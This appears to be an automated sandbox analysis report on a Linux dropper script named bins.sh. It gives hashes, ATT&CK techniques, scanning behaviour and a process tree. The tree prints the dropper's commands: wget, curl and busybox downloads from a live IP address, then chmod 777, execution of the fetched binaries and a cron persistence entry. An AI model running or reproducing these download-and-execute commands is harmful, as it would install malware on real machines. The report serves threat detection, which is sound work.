e8edf9c2eda40f1e035b097be7b90505f3ff5a8c1c33aa3a5ddf8477b75b42be

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
24-11-2024 08:46

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General

Target

bins.sh
Size

10KB
MD5

00e6a838ebbbb8d44e8bde3072d71948
SHA1

18ba68e4dc8af71f08dc42dc68055a295059cee5
SHA256

e8edf9c2eda40f1e035b097be7b90505f3ff5a8c1c33aa3a5ddf8477b75b42be
SHA512

a8395ad7797c42c32a6f073151b82aea873fa6c842131b0899ee95e667e0038619feddfc236a5b12c834fb6a032f31a0cd79e3f931da05269dda866616ebdc14
SSDEEP

192:uTWqEbzElT+8s8V5fmlJRGmGxFNCiOn8s8V5alJRGm6xFNCi/WqEbzcq:unT+8s8V5fmlJRGmrn8s8V5alJRGmf

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2186) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1520	chmod
1527	chmod

Executes dropped EXE 2 IoCs

Processes:

nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

ioc	pid	Process
/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	1521	nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	1528	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Renames itself 1 IoCs

Processes:

0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

pid	Process
1529	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.WAXgSq	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

description	ioc	Process
File opened for reading	/proc/26/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/605/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1356/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1575/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1613/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1625/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1671/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1609/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/3/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/12/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/19/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/30/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/165/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/604/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1593/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1638/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1663/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1700/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1741/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/732/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1512/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1539/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1618/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1619/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1745/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1667/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1672/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1703/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1764/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1718/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/523/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1256/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1294/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1383/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/29/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1565/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1568/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1634/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1727/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1731/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/2/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1624/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1680/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1744/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/23/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/673/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1232/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1615/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1617/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1763/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/456/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1553/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1610/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1630/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1750/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1761/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/8/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/35/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/480/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/492/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1586/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1596/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1622/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1600/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetcurlbusyboxwgetwget

description	ioc	Process
File opened for modification	/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	curl
File opened for modification	/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	busybox
File opened for modification	/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	wget
File opened for modification	/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	curl
File opened for modification	/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	busybox
File opened for modification	/tmp/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK	wget
File opened for modification	/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1512
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  ./nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Executes dropped EXE
  PID:1521
- /bin/rm
  rm nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod 777 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  ./0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1528
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1530
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1531
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1532
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1533
- /bin/rm
  rm 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://216.126.231.240/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
  2⤵
  - Writes file to tmp directory
  PID:1538

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK

Filesize
12KB

MD5
f48c16cb3a9f5592e311405a12aca957

SHA1
3d475a3684bd8bff3fa8c5c51133378f1d685767

SHA256
cab71a73134aeb2d205413875487c867bcaa7ee7714fac38901878872a7d9392

SHA512
af83375b489a1762c74a239bac031f6bc04e9bc5d5e37bc9b03fa500b5aa62944ccf5354ef57a2e3fdb4151838d32bbea46bd5faab66150bc0fa1e8e4983da0c

Download Submit
/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.WAXgSq

Filesize
210B

MD5
b16182827707b69fe49e2cd514f4ef1f

SHA1
5a83448243f48da1db552b89ac273b9e7801a44b

SHA256
217f129ee9ad26b591efe8d26b30756b5f47fe91ff7012ea258d5f69280273d6

SHA512
4690de18d126f3ce033035cbc9e9dfadf4d4f74a58fa36dc68c87e6fc9131c4c4c5ebc350cae60d7110eb583f98d44c5cbce5f650947e9a2cac972d992e8096a

Download Submit